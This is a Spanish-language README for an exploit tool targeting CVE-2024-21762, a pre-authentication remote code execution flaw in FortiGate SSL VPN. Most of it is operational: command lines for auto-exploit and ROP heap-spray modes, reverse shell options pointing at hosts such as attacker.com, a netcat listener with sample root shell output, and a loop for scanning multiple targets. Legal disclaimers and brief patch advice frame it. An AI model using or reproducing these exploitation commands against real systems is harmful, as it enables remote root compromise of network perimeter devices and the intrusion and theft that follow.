
Detecta y explota CVE-2024-21762, una RCE de pre-autenticación en FortiGate SSL VPN, con validación de línea base, explotación automática, modo ROP heap-spray y shell inversa.
Herramienta de detección y explotación para CVE-2024-21762 - Vulnerabilidad crítica en FortiGate SSL VPN
⚠️ AVISO LEGAL: Esta herramienta es exclusivamente para uso en entornos de prueba autorizados. El uso no autorizado en sistemas es ILEGAL y puede resultar en serias consecuencias legales.
CVE-2024-21762 es una vulnerabilidad crítica en componentes FortiGate SSL VPN que permite Remote Code Execution (RCE) pre-autenticación. El fallo existe en un parsing vulnerable de peticiones HTTP con Transfer-Encoding chunked, resultando en out-of-bounds write en el componente sslvpnd.
| Atributo | Información |
|---|---|
| CVE ID | CVE-2024-21762 |
| Vulnerabilidad | Out-of-bounds write en sslvpnd |
| Tipo | Remote Code Execution (RCE) Pre-Autenticación |
| CVSS Score | 9.8 (Critical) |
| Componente Afectado | FortiOS SSL VPN |
| Versiones Vulnerables | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Detección de Vulnerabilidad - Identifica FortiGate vulnerables mediante peticiones malformadas
✅ Prueba de Baseline - Verifica comportamiento normal del servidor antes de las pruebas
✅ Modo Automático - Detecta vulnerabilidad y explota automáticamente
✅ Reverse Shell - Soporta reverse shell bash con configuración de IP/puerto
✅ Validación de Entrada - Valida IPs y puertos antes de la explotación
✅ Informes Detallados - Genera informes con recomendaciones de remediación
✅ Manejo Robusto de Errores - Gestión segura de conexiones y excepciones
# Clone el repositorio
git clone https://github.com/su-usuario/CVE-2024-21762.git
cd CVE-2024-21762
# Verifique la sintaxis
python -m py_compile EXPLOIT.py
# Ejecute el script
python EXPLOIT.py -h
# Prueba simple de detección
python EXPLOIT.py 192.168.1.100
# Con puerto personalizado
python EXPLOIT.py 192.168.1.100 -p 8443
# Con timeout aumentado
python EXPLOIT.py 192.168.1.100 --timeout 20
# Modo automático con reverse shell preconfigurado
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Modo automático sin credenciales (pide interactivamente)
python EXPLOIT.py 192.168.1.100 --auto
El modo ROP implementa una explotación de dos etapas con heap spray para objetivos específicos (FortiOS 7.4.2):
# Explotación ROP con reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Con puerto personalizado
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Con timeout aumentado para objetivos lentos
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
Flujo de Explotación ROP:
En su servidor de escucha:
# Linux/Mac/Windows con netcat
nc -lnvp 4242
# Salida esperada:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Nota Importante: El modo ROP está optimizado para FortiOS 7.4.2.F-build2571. Otras versiones pueden no funcionar debido a los offsets hardcodeados del ROP chain.
# Enviar payload de reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combinación de múltiples opciones
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Target hostname o IP a probar
optional arguments:
-h, --help Muestra este mensaje de ayuda
-t, --target HOSTNAME Target hostname o IP (alternativo)
-p, --port PORT Puerto SSL VPN (por defecto: 443)
--timeout SECONDS Timeout en segundos (por defecto: 10)
-li, --lhost IP IP local para recibir reverse shell
-lp, --lport PORT Puerto local para recibir reverse shell
--no-baseline Salta prueba de baseline
--auto Modo automático: detecta y explota
--rop Modo ROP: explotación avanzada con heap spray (FortiOS 7.4.2)
-v, --version Muestra versión del script
python EXPLOIT.py 192.168.1.100
Resultado esperado en caso de vulnerabilidad:
[+] Iniciando prueba de vulnerabilidad...
[!] ¡VULNERABLE DETECTADO!
[!] Servidor cerró conexión abruptamente
[!] STATUS: VULNERABLE
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
En su servidor:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
La herramienta considera un objetivo vulnerable cuando detecta uno de los siguientes comportamientos:
| Versión | Detección | ROP Mode | Estado |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Sí | ❌ No | ⚠️ VULNERABLE |
| FortiOS 7.2.0 - 7.2.6 | ✅ Sí | ❌ No | ⚠️ VULNERABLE |
| FortiOS 7.4.0 - 7.4.1 | ✅ Sí | ❌ No | ⚠️ VULNERABLE |
| FortiOS 7.4.2 (build≤2571) | ✅ Sí | ✅ Sí | ⚠️ VULNERABLE |
| FortiOS 7.4.3+ | ❌ No | ❌ No | ✅ CORREGIDO |
Actualizar FortiOS a versión corregida:
Aislamiento Temporal
Monitoreo
# Verificar versión de FortiOS
python EXPLOIT.py su-fortinet.com
Si el resultado muestra "NO VULNERABLE", el parche se aplicó con éxito.
CVE-2024-21762/
├── EXPLOIT.py # Script principal de explotación
├── README.md # Este archivo
├── LICENSE # Licencia MIT
└── .gitignore # Configuración Git
| Método | Descripción |
|---|---|
test_vulnerability() | Prueba la vulnerabilidad enviando petición malformada |
exploit(lhost, lport) | Explota la vulnerabilidad con reverse shell |
test_baseline() | Prueba el comportamiento normal del servidor |
generate_report() | Genera informe final con estado |
_create_ssl_context() | Crea contexto SSL reutilizable |
_create_socket_connection() | Crea conexión TLS segura |
_close_socket(sock) | Cierra socket de forma segura |
_is_valid_ip(ip_str) | Valida formato de IP |
La herramienta implementa:
P: ¿Se puede usar en entorno Windows?
R: Sí, el script Python funciona en Windows, pero el reverse shell bash estándar no funcionará. Necesitaría un payload personalizado.
P: ¿Cómo sé si la explotación fue exitosa?
R: Verifique la máquina escuchando por el reverse shell (nc/ncat). El script mostrará mensajes indicando el progreso.
P: ¿Puedo usar contra múltiples objetivos?
R: Sí, puede crear un script en bash/PowerShell para iterar sobre una lista de IPs.
P: ¿Cuál es la diferencia entre modo normal y automático?
R: El modo automático explota automáticamente si se encuentra vulnerabilidad. El modo normal solo detecta.
¿Encontró un error o tiene sugerencias? ¡Abra un issue o haga un pull request!
Este proyecto está licenciado bajo la Licencia MIT - vea el archivo LICENSE para más detalles.
Este software se proporciona "tal cual" con fines de investigación y pruebas autorizadas. Los autores no son responsables por:
USE RESPONSABLEMENTE Y SOLO EN ENTORNOS AUTORIZADOS
Desarrollado con fines educativos y de investigación en seguridad cibernética.
⚠️ Recuerde: Use esta herramienta solo en sistemas que posea o tenga autorización explícita para probar. La explotación no autorizada es un delito.